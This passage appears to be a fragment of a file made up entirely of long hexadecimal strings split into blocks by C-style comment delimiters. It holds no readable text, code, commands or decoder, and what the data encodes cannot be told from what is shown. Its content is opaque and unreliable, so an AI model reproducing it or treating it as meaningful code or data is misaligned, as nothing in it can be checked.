d65f764a8f2356d98e8ef9c3b70b94a33525416faec074175c83997dd056458060689043b443936eaaeecd1325965f08cd53992a79a7f8226c42487cb5de5eabd129a254612c3715686cf78adff7861c849196561afdce7333556dfbd9258782b80a0ed856a07eee178c2f18bdf7f874b21ad1ddce3bee5eaf0da6014e1ba4b9fb0fb92dba95ca5edd88741b8572589a4c3cd2750a5e4ceb58bb111451c5000cc438fa607df3302c70f788fd67b508c672ac9f323e1a40b9c159df0d93e253748e01047ba390c4c040802b83fdea850e8e3dbd4957d2e5e2bf8d09536f3d3bb851c200c10147018656db548a49ce0f4f21a7a86d76646aaf94bf067a16304735ef1cd952542510fe1e70af59485ba74d3f975b2561d6390d895a7b82bd36e49504604ab4c603f63e19bacadd8ac85bb66d9cdf21e3c2ff2e407759e7cae36d7ba208b1f293eb29b2b4cbbdb2e4649f4387acf6bfe08bcd0c4c70e84f52da7d0cc7fbf36b107a7f5afebc3a4a9ab45b72d52142b3752d3c66333c6e138ede4f737cf50cee1c1e2688335e31cfcc95bcf8f1a02ca348e88e9006ceba29277276442b088c9aa799d308912667bb3cfe7a542041cf26f0a58440d88274f22bffe3d42da44ec6acb4d329d4ad0a32905954c2ca16df7cf1caa6e05846bcf526fe96906f55207810e3d920fe566dbdca6988a14629f057aa886ff56c5b66cf8b7f065d369c7f1daa7b3bead7704579d8a780107d58cee9f593dcf4ae8030ff2de2916*/
/*ee4a5e7b9935e65c56a9653a3f6adf3e3167213508aea2bff420218a08f68c6f4b15cfbb8ce5eb73d68156cbf057ab39106241682428c73b3399e6c7cc476d6da04c8dc547cfa235dcdb719354d2d3d5c228435e6e619275d29c8f24a5280e275377f56a184b6e3d2c37ec7f07639321137f71eef4599ea6ebfe5e140d87facf93757271e1a6c2b418cacc81784124789104e5fac7cd46436839b7d387891b03d4c3e5aac7740831fcb6b2e6bf3d098764536254f0a41340cc0dcfa77d204e1d384db9488c70e4144d7ca95d6bde02d6611c555a27f2a75ffb49e97e7215edf91ec444e6faf7b44cf414bc567a8b7fe91830b77e291d146abcf332e45e3c7ee2395c0ae2efd627200682ea9646464ebf610557e185f7b03fade0942a496b5be2b39d9b29f7162665d570992e6c8fbdae2d71790c3a6959adf5a33586b6106c0a9dab4ab97ede291f12f53272be2c7adc4979857aadd926d8b8532d600799abbe4c25b8e90e8d509128d222a4a341634b5d14bf5c466f83dca866eb333e15c4fcc2fe1520244fe906ae9a6295a14a99960d44f2b3e3ab81451371d922c282b09a0de90455feb589c2268f3d3ed904b682e04a8fe8a40f7376d8978f379a81b6584e2a62f0c6621dc7c745c64916ba5537fc42a2e83fbdd78c743d01e0fcb30b40a33a32764e9d2fe02060066e3531a557b6f4fff8a8d35487da1cf66ea25fef421706988e99a20d8154daf9a141b04aa6bda3e27837d86bd87b4ef79725306d3aec7212bc97ea4c6fb8102275febc18d42abb1bacf4982f56e434901e710e5483f4baf891d06e84e61037f38957e8722c15398720cf17ee040f655b14e9665f2454b64f6dbe4f0c6df7cfd5024601752d64e4f100f5cba6579d66c0dcf458a5aa0282e877b262ffd013db24810fa05c38308d12472347ade01556fc07839d1e39f74c435a9d7c92dddc2b74cb91672f3ee1a39d63c03ae7d0e86e97a79dcd001fcd6b306287484ea1cdc287a157c6e0acfb60fcce04ce393fb5478840788fa35d7755404612d0f686c82eb11803fdc18d9b40b0eabe6b46215ef40ec7f3a82958808b831a60cd77c296f7b0838f14f93b1cb33abb9e57508a396badf364f41d1c8458268d71433dc961402449b75c419d3c120da9a0c780ef887842916c1464e3308b38104a9b6f23eb961d367cae2c1c4fb8e94f87303fec791781afa33d36cdb349afd1f4a122017b4476097bc468cbd7324735b1e49022c69789e3796cbe4d39443dc20d1a57062680be2d79d1ad59c7ccd1c3c09ee9f6ee170895f7dda94d01bb94872c65012c6538f74c52da36b5250707e5d6e452a58628ab93396782241b82a175e0b8c36e60f9402ff64c6c822747a1abd3c830a855d9dfe3308ed2b97cfc838d461e22eb0a3fddf36ec8a7a25cd65b2a07e64a0f3bed477ab3ab85205aa0aade6880de5edd94ba5c30db770c4a79ec9433d76af59c46afc25c545328989e39f05424c75267ed6f0c1a3054684e72fec59c069aab18930687b22927f4037ba45c622b8bb6296a6e002195bdb4996bb797cff56d2742675a59d8c9a96af773561cb7eae2fcb2b8813524cfd2bda7ac569af890b64e83499f9c80c0f208676e15b958400554e84d281fd7a0a5b7a419403babcd9d38d5d81fe9d4636f238130ff8217a2bd1c228dbf0d26af622d2373ae8c88187da7410ad7aedbf5b22357607fce4d5d4b8f0e94f5df56598576315e6e85518ea3d5e31e44fbb2c68f863e1e05226c00ca04d9abc854dc07f7181a4a222d8323b1e477edbfff995e06b8a304be7ca8861f374613b829163058cf11a5fc1845eb7e11dd9791d1db09462b0007c0ce8c4c70fa9dcacba72b05c129ea63b706a2e383590a198b4d9379e021fd8659496fd724fc5d26d268efcfb9e7a028234558ca4c8512366035031e53e60064bf98bfcb4913e60474aa72291ef75683efd3aa30d2c985e8f3c2a84153e3aebd1be296029bee4b7b8468da5438179709103974554d3cb1b7c2131d9ae27665e7bf07c8d6b01208150b591f515ba8b6c7d8fcb8fb0cd691a7f5ed9f9481eb9011851bb760b50b5c8506d3e733f71339ba30b84fb5164d6d5a495418d76dfa18cd5ac12061606d564c10f9564b9407adab15db6814c25438b6d98a4d25871adc154ac8930da5c37beab929deae55d2c02f5855633b8df6ff1f428f4c02014abb7304baffdd1486f571b707fac945faa079342c654e0086206592b5af4391e6ceffa7f6a111e1da8bc0dbc7f30839b19239a3aad135e3714bd8c9b3a0a025b91c5d0ecbcb7e2440228d95b5786b734b1e7f02de0cb63cb2f78fdc7cd61b1f20e4e1c9466fcaad70a474af39dd0f21b403437554df1079867e6f5b2f469ad34e49c89d174590d7c8e7775a463be20e1164c07389ae0352c064fa797230aa1ccd8c402eb375ccb979e939b055b41260de3bbe87647ac766d2cfe9aba2942c6a31f45e90b40c8dcfd3fb239cd2150a1be12757bf5c4514f161ec451eeeb9aa6d61a4078b6d462c3e25ed8fe683ef4ad96f197ad8d1253eb5ad52e971ff00411828fedbfb4be72de201907e8ba62f5cc3ef0ad2406541bcae078b73c053fe835d323851f05c8171f54c87d98ee5e02f9e6dec58e3245d427694b6f4b5f015e12346fdb3efee0515e8c25d97287397a99fc6cf0fb07f7368b32b869c7e8be76f5f417f1316aac45ad296ded240e53eed36e43d2a8986ee5cfe84b750f428c604c52ef85f5a539adb77aee264f65de8354384ca8207719a109c5176ea230029fe212a7af1dbb668dd0dfc554c5f54f0cc64f7*/
/*b69ef30d352f96005c9cef2fd85f3ae042d21e5ad0bebddafc85a0fc9d7dc3667030f317f64249266f9e69b20fa1d208cf60f7cba1124caca80ce2409d2c6e1cd2337f6d6b736d018c293a406ad1a80150a7f40cb33125d1d2c70d6816f21a729c417cf966a1fe1c0429f71424982deeeb9ea93fafa29d4ca294e34066c11032be452f7fb67c4c8f408101ff59bef365394a6b3979590bb5cbdbd34c65d9abcd42fc0d1545a07e7653f987603a48aacfb70c1936ff3dd7006ba776e8055dd4db567978c6c5c3a6d71c8c865070d7a36e27403c3c13d0087b6696cc77f71ace8f6b5e43ff6ef8700307714d1df45ddea0e74cddbe00276681984f7370923374e0b11dda83273b4a4d7d215e79b52d73d1f2ee81ad8e14d7db1d7c81ea02f6062658ca7b3e1d35b7d22d981d781f250a50443c3d4b1a0007755cc4aa710dba7ce3667079cfd35dc85f90b2852e2ac14ea4ebc9562f66fafd11340b2764edc43672e440604ec14583c24b0ee8970568c37bb1698c47dcf55dff2214f942916134534a6b7e062b703d75dbf26cb1e272a0f2128289725a3542c1b661471de0baa9e73ff16c97442296aefd38bd39b14e83438d8c4d33242679960a987469f2bb140709d96c152afe8beaaf82eff494a10b7250df83ac8767280e3314c6a6819949a1f8065c9b65926f11b2d96f5bac8da5f4b1a8d879465d017ba4004fb745dd4c19c946538640f4921131f38da9e21b5f8339fd48a57f67dee25aa7192d07738899f7adb784d8f1c200325791ea09e2dd9675f6c24813c98f992c092805b419bf8bc94d7cffc804c23d4ae473ee34c298fc2b29365e0427f104a2cf56088fce7a83d24a402ba4974fd17213f811d3e65b19ca106b8f123408d8448f5524045cfb70cac007e926f72877d142abb7721d4697b7fdc145a096c97c3a6f6b02b6f16f5ba18d5610a77a9f9cedd3e88716590bd43d948f44beba7f7967d37073f05c331fdb8b96f6033766852a6ff6ec7c17681cf6dcfef194187dfc11232c71bb36fd741e41af0006368d5ccdd793413522003d9eb195716f6d4a6d72fed10c71c64c87645a384dc740ffc1ff362ee5a704c07828485b70be4e7b15adf3b828b719a4a4f36a5f2f59fbe272a618099ff8ec1633d0c45339ccce5d81c0c9db098b92a6673b7eeb27975b6962c96853fa409621ff7a73248b5e67578ec914aff40b905190a04b44a71fe1b9d3627a0294ad92ae3dc1cda72dcb840c2395d8e6ec82cf9b6a696df806b485f9708aee99f6144456441c8ef1bfa10eb64d79490662430df31949c88bba5bd3c0f8404d79c292d2b36bc41438820a4c278cce52e50f40960babd5c5be67eb8f44ab3f2f8779a6fc0d2e5d43c674363edf8949afb332a67fb0b826b05e252f987e904538547a3d0e9c33533c7651158a88c8f9a041fe59f365c2a190eb63bd23521ba06c003d5c125e67a21c08571129e5aebd26949d15e2d7b5f7fd0fdc8df43f84739c4a62468c40dfd1845f2bcfa943b0dd1c82be0b28e9b0533deb8e0cf229d53f5d6ad9d3cbdc8ba32f4e7760a7e4b3e9c8a666d0f2284d510bf8935c46da9160e171c311459498297c6ca701001eb9057c89ac9fd218e012afb590bbe8a32985d9daf043fbe0d883ebbd49f7733cca6751a52bba466522a8523f0e5ab7d1d11b9c999531b1efa7e78d70ca52acb0a562bacf2aa6c4a11df56acf20c3dbb114e1985b72dbd7780ce8ee069185c72a11fff168c1fa62c119ec42c826628697f78aa81466d4bc07bcad2732a4154ece079341510027ec827d0dca93c2ff7681750c049e436c1a9d7f79c9e31a36a6609551d6e9efa0693c23bac7061515d9b774a78b72cec477b47da73866845f4b8174bf39dad47ec5b866f8a5d0441196d5f88a35f9fc5e8497f2088fefe760e0ae103eabd00d0e5e30f93a920c296ab51d77b525709fde1e2997e180801bb6cc4f6deb27276ef327e9b18e498a0fd98ba7d7cbf261f496411623375c9102c64300a792664b5d6a9fb68aa183d560035e0db40bab47901c8e894ab11ced60812ee09385b518076c580a93752edabeedfa00a2d7c4f9d0847bcf6a52d5710b1904b5d8d4ae1628b3bdcb02d089f2c4d4822ecc767872d7dad4387fa3a3b587ce518052c081d06a33d6259e1ad1165db6be43f5808b6528ce8a4363e5006bb621da1e58614f51cf1f6813f467551b299df3f7117a58b02f2c07795bb2849b7467e8b5031d94e69ff40dab93622c36d313fdac44b3b866ef3100f4ece3e7a398559c0176bb14c9d1dd333d55dcb04cdecdaace8d592d5869e86dbb320b6ae41d91cf0fb0462ba4788c1902813ac4500eea7adb902155978aee41ad2223fc7fd266c02b4bdb43f5640b8fb25a071c0fbcdf7ea6fe551b7673ced4fe2ce9c5bd6a88341ed1d94dc58375e0db06b5251979e8866d6f5dad1389827159513bcecf1546a12f6d349a41595250a3af51fb63f5fac4dcbd9b21cf9e1a45da6532c7f4974f9c5fd3f68a69ea020fec47e70d00a0ebbadcb805cca15ec6b9ec93a97d60768d4879ccbaef7e09101238fae35555140bbaf1708236bb81bb7936d45149e9ffc099ba7ef097b97b5a15187b299debe6604e0b570365b696f06e8eea226b5d177be93bcc2d38e51a6468a627b657308e28fea3f854649ab23c21e80931f7d6aca70d1092d91594640c7abe54657c5bc27d49533915a482b8ecd13b7c171c6bdf823beb46434877f0d0bc8008b4d420804202a636a823e6031fb46f580dc35db45590ede0d8cc2aac2e0e70931dc2edb0c1c6cf6334affee750c70c8d*/
/*baf12cd8f5929d093c5d1890f407200be4307e18b46fc7ea2c1855c5247a2a74bd7b841a8264ed33b97cc77b659e6884cba78b1f176f050a3e312539880f43933824b8b7edf9b31ca42673b6ff7b710b5970be99834370d171ddd186f94d6407971c075c6e269062524803d3d3af60e331b665f7568d3824451ede306fac551406849f90d96eef7e8caf0ba0e4c4282c349000a16b21e41df8fe2916e67002068162391c8be14f43b549723d5258890acec1ca0b1118c9c0f3177246350a42b4c02a60ebed1a07154047f04cdec36b69a6bc99571f86279893b263884b479d9d51c29170b03c818971f4b2454f58230fd59bc6ac9c40001860b435bc4a12f84a95827c18a3bf3b77f63f0f53edd177531ebcdb66666ab1b5c6104325637a833a2f5dd7774fe8e03c3fa3af7377083dacc3d605750d383a37e7d585e35a2ed85bbb149b0f7ff792c7699e188e9cd560e3e09c1c4043a04e48eae2baf78f81ab593bc46a0a6d0ff6be97234462e3bfa39ec95c393bc4af9ef483f8b8e5e1801c307941acf0d90191381ea81a0aadc330c55198d5f5fe25001a52a0c621f4c899831bbb8182872ef35524ef64ae4ffa67f2480f16b6b56a6005cf20728d630d41b71ff63145ae397e0822a55c1e1d355154cb868c991636c94b1d73bae8bae45a8784b0f967f73c59a9c37d7cb4743e648a037203c0445de748747e34c0b49cbc2dee16fb3cf907bf368dea45d9bb9d6914da180944856a360de761a1926405a5fb5e85c0ca5855a906f17ab06c2c9f9ccbfd58e06f10a5fb9266d76703d3921c319796df473cca796c548603b790a63763327a80ccd7b4b2f2e61836bada3ed8dc4649235ee6e0f194cd6ae56ddc1ea59efb86cf87b96d02873ecbeca48d94bb4b5c67a1bd3cb3d90ab841f022475f0f702d72feb2d7b25b3da4ea46d0a0430488e66aae711cbee9b7038524329dc718c8e8726ff5cb19c8b0a1d7067694bf7053fba4a944da0e2cb2e3e48db1ffb17d6b13fae8f0ef8b610d9fc41be58383b9f89ae3db3228ab9ec620219592ca9f20a3582826f8401135d9f0105f6c7998a387c20448c16f36a8eea59d4ca9159590bb2e84b55cb03fa2694a8b7c3c5c86f843b07f34206a1fe213fac3585991f6e9a52cc7e60902bc14e3b0a10fb3683fafa85f35ebd5efe3cc9eb2aec7649ab3dd386099d8a5f14baa571f06ee428abdf309b0ad12a3af370bab0a9e976482ac5ce0e89f38bf90f6d45d1916acec096201dd85059b9b5a01526ce49784fb826923e75e3ddd79994e389ce646700751bc3effe4ca32d8cc3f1d70fbd2f2061446fc873352a851a282fae72ab38ae817d2df938b30ba43e54e0c5586e19646e2f837409f4e782ec997e34cc6d22604f532ce545dbbee10f9a0e3f8cc8f6f471230343445beecaa4d40bb9ae3abcfea8249c3c569cebc0d58b6b5ed3bfe90e90b5dc1a8b8c4e828a3686bb66e250595cc0070a176bf70326628036cc21494e6a49e93515cdc3b766d9a53399f450b2347d3465917002e316fd8902a615c5add32f786938e59511053ed4baa1940f4ca96c8e40ad24be63831ac353feebe479affcd0548fcb5057f4017e3f2318d3eb47b9455ee88dcb7c484c50f9be4d235f11d24a63a58b115384a5c08636325b1c58e965d252ec882a626175ec6a27ca3cd99d0895f046e5dd23eda2d02f000aaa01205077aa8b794398d69607b293b9f0c0a6a18570c7a71340bdfef9f89b5307f61083009d9607f3ac096fce78d34ce5d2bd484f723192d5164450fd50850f314d111d66560965f54305f509c4bc28094bb8c604420cf4e1e21020d1fc794bc0bd15c522e2cf49b6c290dd97f853d8457c97c685214616ee293d603568d88c87e3e15a51324aeeca2b10d73994016c23cf8e7a008e57d5d8d1be34f19d5202ae8e9ff94b03d00683c4e87fa1aeffbf095b6e431a828080733167581ec0f42675423c6aba137af639be4f4de0fe726719da8a84930f8339536320de4bdd3e4580b5052c6613c88b974abc64749ae6fd6c8e6ed7091c9a8d00e3c59b9487fe311b2ec7fc3322520a39e4f1d8495b78332d09ea62d1b0fbe54efd004c7a51eec8c4b6454b4be45d1f64e85af451641d16d2cfdb84e1ce7c94ede745948cef4b7d056e3ba3b5fffa85d823ac94e256edcc13ea30194c09819f3117efd748fa92a9066c9262cf389434672a3540f7877e65eff9372462d53146322930ecf75c3e4299b3bffe8ba52865c6e355a8a0434fb748e54c2b634d41048e5ea85174ead340f651dde4ec188cf8bad1e979ff5e9ec7b820f52777f2e68f2e7e42f94b578b5fd1cd9f78cbf91e90e8e0551465b511f9f7b65d43a3616bbd9a14b2fc05b576ccb3826b36add11a5a01fc65a6cd82211ac39111d413de427c395c2ad2271f794fccfc2d60787463960faee4fb32a8748be1e6fbe0138e605b66c33c36d4ab31b76ca86bc1dec7895d1e310cd62fd8c6a0ea7beaf261fad8d38883eaa6f032eb89e893aa69754f60e97388048a3b44c1f7f90f5e25b2f10e47f25cc3c610cc694b89567a5183866124d00d39f9326d0117bc624ca78a8642ff89703552cb2a0f8bc29a8b2ef7687fcf9a5d44fbb7e4aebe5beb55ef5a5529bc2dec1c1e83c8d5933f00aad6aa84ee52d052c133a4ffa2ebec1f02557ab0cb5ecb3aa09cfea67f233a62d600a9416cbc86684321afc9c86cc46092c2a91b16b92d5230cc3b206091e3cb17a7458d21ffa0ac39bf774b99e8309cc945c8c8780974f09a026fb583f2b4e93af7c33310cb072afb765bf6b5535e3dc007696*/
/*274cb4982132e05b6283ef91186060f3e9d3924563ebf46735fd00b9cd6a69ee979352d5513d2c1889cb035a6793200afc46ce55af5386f76794cdec7ddfad3506d9a5d2a5d1a51a486fe8e8682f33724aab2ed554d0cf819349a920eaeec01c6cb47df19d80cd581d1ead4b4809b9432e22d0e4421ec3ed47b666c26102f19c8baf6c33610e770bf5055a60687274b6ceb5938e7014cd81a68a6086b7691979a3d5930f598e94838f540c56c705a130229ecbf1e2220eee56ad1229b3c2f4c2556b21e3fb7dd8e78076f74671c3c599efca2e7927a6a3d047b29fc602f65486667f6e6194f827285f5d01c069d1a39621172145d9c85a8c76d6617a838b4c7a7fc33c1db4411f658ab5abae5029fc4aafbb56ee979da5ef8a3f6a430618fce9145bcf6e13041aca9042c0242b6eb82e76be425443fab92024c58cefcc190931d88151d805b528ff73dbe72c2c9d0d8a5b272fa24be52f962a328cb6fa15d66b08faba51fd692049d927140ad28f666730c76ae184bf45b2418dd21c8b1cfa39c383fbfd926541ad2a89797ca471d4cc01cbd0af048d9aa72d805058efce95fcc134a30f5c3f0618271646320559ed897f2548a2e6b5ea92cd951b05622ac5179e1f2b99aba2f17b310cbdb8c2e6f419799eec31e99187dbd5095bf35f5adfcc76340a697484b47592dfdca556e6e8e2fccf2f496d97b41b38c4b07b598853b1172ec5a7becd9ac3e77cb7614788cfd8712aae65010ceb2d90c83513cfd78e0d95a5b0c3f13e105e49a86b09069155c832c138c2e22e35f138d8ba5e714c98bc2ace4a0c538ab82b1efa5f62eb7ca46c40b8f96438f51dc6954fe9d68ec114ee1a9e69f64500382fa2a0e630b01f177452e7aa0454267836dbfaebe77d37b062cf8687a2825c51b808943837e6d2ce228d4ff33cfd61db4261556b552b48609991950f3cdffd31cbf923b379e73fb07e7ee3a051b1ab87a16923f50448748882bcd8d206e4baf61fd8fd9f874c389a9b7b25ed9a205a462095666695c3c1cf64d1ddff3c2de5a3f14954341909948b7b1d4c3ed7b20f44c791391fa78c0d71fab119d3e734bf034659cc8dd8029d210271d318276f3f58938786c234b6a00b0858d8fbee3ec01ee3bca4fa52f7bce5f8793b4a551149b9ee0a76c268367885f8e3e3bb654c77cec0bf38dad09db3ce5d65a2c420e4b075e60fcd6c248f1fe8b6709f4321b9d6ac5a8372b555c62a02f665d99a7a356c22eb6e8e257f904bac535440c7c12cfedc4df38f76c291262d640350dea997968b0c8aa3f14e0163cede90a79c62d080a3dafafa6e1f57e2951ae41adbf1d42605b538da6816ddd76423126c12f23fc7051c90be868c9691b1764bbab0174c37387ea2f2b7e654d97d79c103f87da94b5377979d2dd1c8b0448caa1c4ada93e12df8fb2d2fef459fe3d3f188892be2a7e4f22cd845ee685e753bfc950cac015de19754088f27c2fb15a766bf7fa8a66664ad2a3723a3646ba9c34ea096a5e3d5b3da81941647176e9b57a7329a32274098af94a9da340f7e6397f87b554e19e8527a801946884ac5094b6969e543310c84365b8154a20b5de8e039b4cb129c5a0f21b9512ae61bfd06dc684aa3d1fedd74efff5cef575180f44fc2b02c2954bd666852f6260ae4c633f989889705a5492b4521c14df1764400d62e4874751a2ed32bb866e78baac47b597fe594ca8d063cc9659936430b0cf3d0ceaf6b31ead001e2ce9fd7dfacc01998ec0e468902eb2efb02edca35ddf0d904e174cc0e39c764c4086f22aff6d0ebbedd8e1d79347edd0126e25dd9336a9d145bef342789775269b8ced28cbdeb156581fe548c4d1b74ae4748cd9f694c83da4bd8ad25360718d09dea55aa43619b159ecc61f419622b7c404d126ec0f06daf624d070dd6dc56a736ad4e46e6d3f4fb296716077c1821a920f44f80dabdb149ee2bda93c8f56a4407f3456e030ecc7655dae32bfb242a693f0989b2b28a4da92212ffa321e5400f8ae98043ede6ce1c5810306e1ac24a594684bbd78cc7e81fb96bb41163d0ebd77691bbb087f89774a737aa15240a8bece428495e8db059162271866e40de0185cbd0ca7a8c041a7e20aa15c26dac8456608ce59a0180edb86367fc050fc16482c935519e2f547b04f145194583060615a14a36277509eb55d5ecbea6de81d690eb89f4d6298bdecfc8d1e9c3264bed4cd81690558b7268242a5ffe79bd8c42f9c9f85699f43675bb8f5b40d49413f04ded268fab2acecdc59cda519a424c7f797384d2bf60d1d6bb0bc5bead0c4f01ea84fd08aaf8f680d646f4f5dca1f4c367593324425cf126fda54e7f176870218d31e6c9661893d051d4e72c5099632f6681fd734e689d34dd67a6225322a8c32fcaf4058eec2e71464a723ca22e0671e19483c848675f6b1e847fff0d7e211a2d0af436a13835b8cb8bf15bf3be50fa9f94910ef808c3b200e61cef317ca83fe81effdab088dc28342642687220123395f64f213f09248415ac457c7f0841fc4bb3d87ed39528a7a983b69240108dede8c8fe1bfb09f07433d215f2161fd67924febc2d65618febd84d65b7cb38a696d1c167497cfda7c58daf908ae9241ce30c35978527d40d866a68940185f6571a877165d6b3ae5d28c11a95309c400415380643d5c7b6f216ec81a05acbcb105132c3f329bfa469f9288994dd0d86f8625b8ed622e7f1c281dd24c57a4f0bb032ca1d237089342b8bf8f733fc3233656d041e23361d70437ccc9d7bf86d5580a06b6cadcee447c30d6bf6c10efaedc5e741cce57ed890abf368*/
/*a1819bc862a24057f1833f4e0e9653ffe50d900727653b5611c586f20503faaf8308e75d81d6b3f47383d5b12567dfb639353c4313db96aed879d3b95b33c5591981f28cf5e782f491d3367704f9898a67e62ffd99ae35383c69308b599d27db63254872824e901f7eab13f71577c899c4e015bfd65761763a59ffa5d2b358fe2dc5e11fac0778a2ed9cbdb52716d60df1e45bc002181e279901e38bcc0df7a0f588119e24aa341b3b32e873b58d5c2b649ee5eeb24b1a03520066e08313227af40cee2f5db284a518a884864a43f6a1f87ba278854da161f89e960d6b91fcc67f6563ff0a99981ca541676e3a578289d6b3f6a1788e6cc5f0a3d848661627db975daf9827a2e42cf241ad252aa6d554dd304b54a71534244bab6cddad7bbe28fa495f4a6b02d44c75a62c89a4f13f5d009f5fd20d8c632d16c31c2e9ac5413191abdc2d69b0eff8090a557f582272a77360ed17ab980b4e0a68194d304215e5257f2da7e6b15b1e3e8d99944fc0e9b9aec1cc3beec61bdc8ee58aff0de5e8a62fb3eed85722dfe818f9e76d6448d17ec8c0ac148c7e064392ad8ac9e5333b7298b2291199d3d3708b427152402b73cf7a4e6cd95648af434ff2ef06f9766610bcaba0ad8ecd6bd47a4e9292ed1dd6aa25294c4e7ab6ee10ebded667556420bd75978cb14bd62e873b052032968eb9a9136f6c6573afa6dd272ef6f943e1afdb3f08fae39ae68e897ca3567dc8e16ff38129aa2b068608b2185b1c76ecb4a66c8fb602559e6536f192013db8d569bdc07be317ba541045a4fab15e3e9aed15b9e72eab96b985d477acf8605e7f12eb8c9e3b73970d94d3abc25c8128454a96b4cbdac28da150933f7874de7c04dfcf8e2c3629e53d4c0b03bb27230b3f70c9812c375947c0b6894ed98f784bd8205cd47777c6e59808c870db4bb74c1fbc92dfb6e10322555c04b2d43a3c4edb09f6f67937667258920b085c6cb63b67367184b1f0ea4e11dff009df753175f8b37134377b4a9592e061aef09e33a513a64d3974fe9a63654cf7579b6cd13b651d5cfcc485a04238a5c968e23c04b02d2f4997517d50418b8ea5cab622ad092e7b5411dce08016fb496bf356234e00dd318345c53c68c83301d74a855cdb82e46534bd7b665352ca9fdb2310a0fffc744ad0995e0a1dab310c8ca5d0272a556fab689d5ba97dc837672d1b0982be6506e26bfe5bacfda0ffe6b3b41d618c09a93437a7ee3f91dd3ea633846ffe56d9bf80d96d702183e830e793f25eddff94c720ede3b0b070630f9ac99b5ee96e080aa93ada1c1617fc42cd3c35ec13bb35afd16c6fdd4ba00229ed5b1de60a57342af218feba1792bf34ed6708dff94a230c3e365871e267b7a0d2b99f16bb8cd710d73637ed293ee3040a7cdef0afd8526d93a7f883e0b990f64b09bf79df97748807da8640130bb40af4e17953ac3dd297e8d2bed3681d0f2903ca70f5dc428c065830275960e1b41e6ca914cbd1817cde33b5ce1328e56db2948776bfa8b2456f85e7982a29fefe1e596423eea47f92c221d7919c8abc1914fd2d80fb5bf69b9d8e542cf3949aa62530472183643623d6893dc826882d373a19681cb5a8e891295d37bdd9d275af628a872f02150d85e3a5a87d625724205c72a5cba927df4fb0944b18631933688e0ec596ba5b2f276d7b13f4644f16a8b97a641eddfb0031e50d719ff879d695f935bc806ad0841f44ba4d9f36c0214700528817129a02bdb43d09236dccf9ba7793c3dd7e5e886dec97b3862c07f48415f9500559bab91a5eb1079646ca5a995d0056c7a01b3bace475adb1ca60bb12c99ceab98dbbfee8e8b9fa8b5d94f491e572cd34a7c890d57577ca2300f10fb3cd886cc9c838b4a0381c25d62250f59df1a1709451462bd8631f697330112df9605ccb0b88149d38d4e74e952a0c2c39591401ca180d6d956f16987e631455c7740d63cdc948a52da228c6031edb6e29c3bad9cb00ed5a9c8c0512b09750e0da766d7c023f9c94309580e8a81665a83f997b804a094c1ca1944a39a7fdd3247cd3c5b64973c51034e7ec25659b8059757b5f9b8e95e67d00ebf70d0fa986dee25fc24373edb05d0c9d65213c358d6a663e2e35f7c1e12b8f8c4f1dc69af942d53afeef00a4a515c40413e433ba345a64e32c326dcfbfb3bfe0261e3efa4c03b86a48403d176c1687b30420b43530f1ebc1869420ae26c21e507b90fbf764a05608deb81278fcdab27d3c01057a8e09cdff4e38558ef6a2b996169ea6497ed4a83640052a187d61f0ea8f759f011162af233d9eb99e0ed7ed04d28d25d3f7912752c02f40f0822b5e42e18093ffda7df37f61aed7eeb4b492a026e670790a513c90fa3dbb0bf8382e64df902156f32797a119c60fb8f859b8a7534064c1a60460a984d8f358f18d7c1a0d78c38a857a6f0b84a792704ec7890702c43bfcc316aa1175ff81fcef5d07385c38b7d426e00e48dad1059aab6b3bbef6aa3b6d0421622ef5c919132bc45525c650e8644abae5a73a62781ddb2c7355b05664dc96741cd940296419ee01a796c257bd658f19ff74ce97e43524d4ab9507cfdb0242dde03f638b4762f29582e70a1cd20ac083565f18f9b75d94a1f53939f0405073f0392220cff321a6d0fa3873e33e8458912748ac378efae1c4d85469a744cbd39400cf9b33d14ff4e2c418b70402360c8296e030a8ead88e165ea3baeab72f7078a6e7a608c31ff2bc87182b101f2c8a37d960405a7aa0fbcafd1c484de3005d06ab83c77a7e952527ad9495e6490860f214ebd1f5f24ba625192d8dfd83*/
/*c2e21bc9457cfe1c5cb8148ca638fb3d586b7d2a2f4ae75541fb621797d9b9e8a8dd312b2e8dc9f57086c56671d52161e96ab7e5e055b1b0b4431b7a900ecea4bc89905664602841582f16ed42b66e24c2a253c5b86bccefbff4a27d79b9b83378e78e72b4294878088c0e08a778d18f58c615b6ee9cd5ad465d8032627c18ffe300ecb416ee31df8e63e4ffdff55b5b081229b5e390c35252c1d6c9d804460a2f2732b9b42ba19a46bb353258317ab33a9dced13a953dfdacffd212d6c7ca1dd20eca6e6758d6bf9c12bdcf8bb68b74569e8866d5bb8029b30cc7b5153401f74c438a4d954bd32886ad04f62695ceb8313f4018d5ca4eefde4ee74f6627fa61874d01a0c81e292e0185db7badf4909000bf2e9e4a85c232c6d0afc38a4e8dc323cfd3f2c965f0eb7372cfaffdc3b28e65be708e9c65a2ec063078606959b7b61108f093afeb561beeaf8f31d1c168cdff45bc6ce89d1c6d60fa9ff003c37101986e11b0805c0edde07b0999a464aa09a8c6861c28b061134c88d48f1495336562b7e178418dce06d96e3eb3992193cbc02b648e0966f28f9efcdd6ea7a78a6927790677fa997691e127332a6eb988a3917b034a113446ede9a0513c08973a4c1c0d609afbc11c06488dcb51255ad4049969e5a13d06b6989dae1deb25d053de3db1e9b36b46ab80d7865035b977e453075c3fd833eb8d78a8c58549619398a08fefd5ea69bf65205b83c621e7f17bdb55fc3479b1b8a7b39ef4158c05aeb3acb6a7d018f3cac1f369e25744f22c1de97751c927a6a55427f6f3a240f6c59af65a40453b9f588d27b94347504e3824c02960b438d4365fad6ddcc0325b7c865a6eed80361774643095c4832abb496bbfe88c9e5bd227b024d66d0837fba03dc9fb513d8dee1ffd792f8acb4a4969dd88765ba7f716248ee58eb0c697b0e7d13c752ed00bda77b5c05a5912a66f0175bab3348cff411362cd3dae9837e9d3ee679d596ffe93d10c15c421a836c3bce8fecf203dbed9309f800fd0ec0b240d0c03c4f0330aebab9b456ca0cc33f39648dfa121ba971ffad0c9c34cda9458d02a044958fa093b24e4f577aa97da115ddc7957f8a27a1b73be395a58bbd486516a30853f46a62770dba256409a389027edcfeb2ee308a1ffebee346e5ae7b334a67a9f8e82c21ab6edd945ce055fa9c797b47e9443aac4f46d89c8554e482c0651d2c95a5adcc7e2680cac46553dea1ff28b20aef898db9208dedf53d91c26d36bdee6b02f914701fec62c5aca2492e6b13b4b28ff84eed81a79e0212dfb680127dda9606bf8d7826b58d24b00a0c528ca9b41cebd098cc34367b5f250991b44905fffdce520677f4be8cd03a83c82445cd7ec91905330fefa24eb453e705a877a040abbbd80d770afc5329133869b6fec8afb7d88a76f99e9576042a912f039e2fec844452383efa50437cf667e8f41c72087a18433ca9db35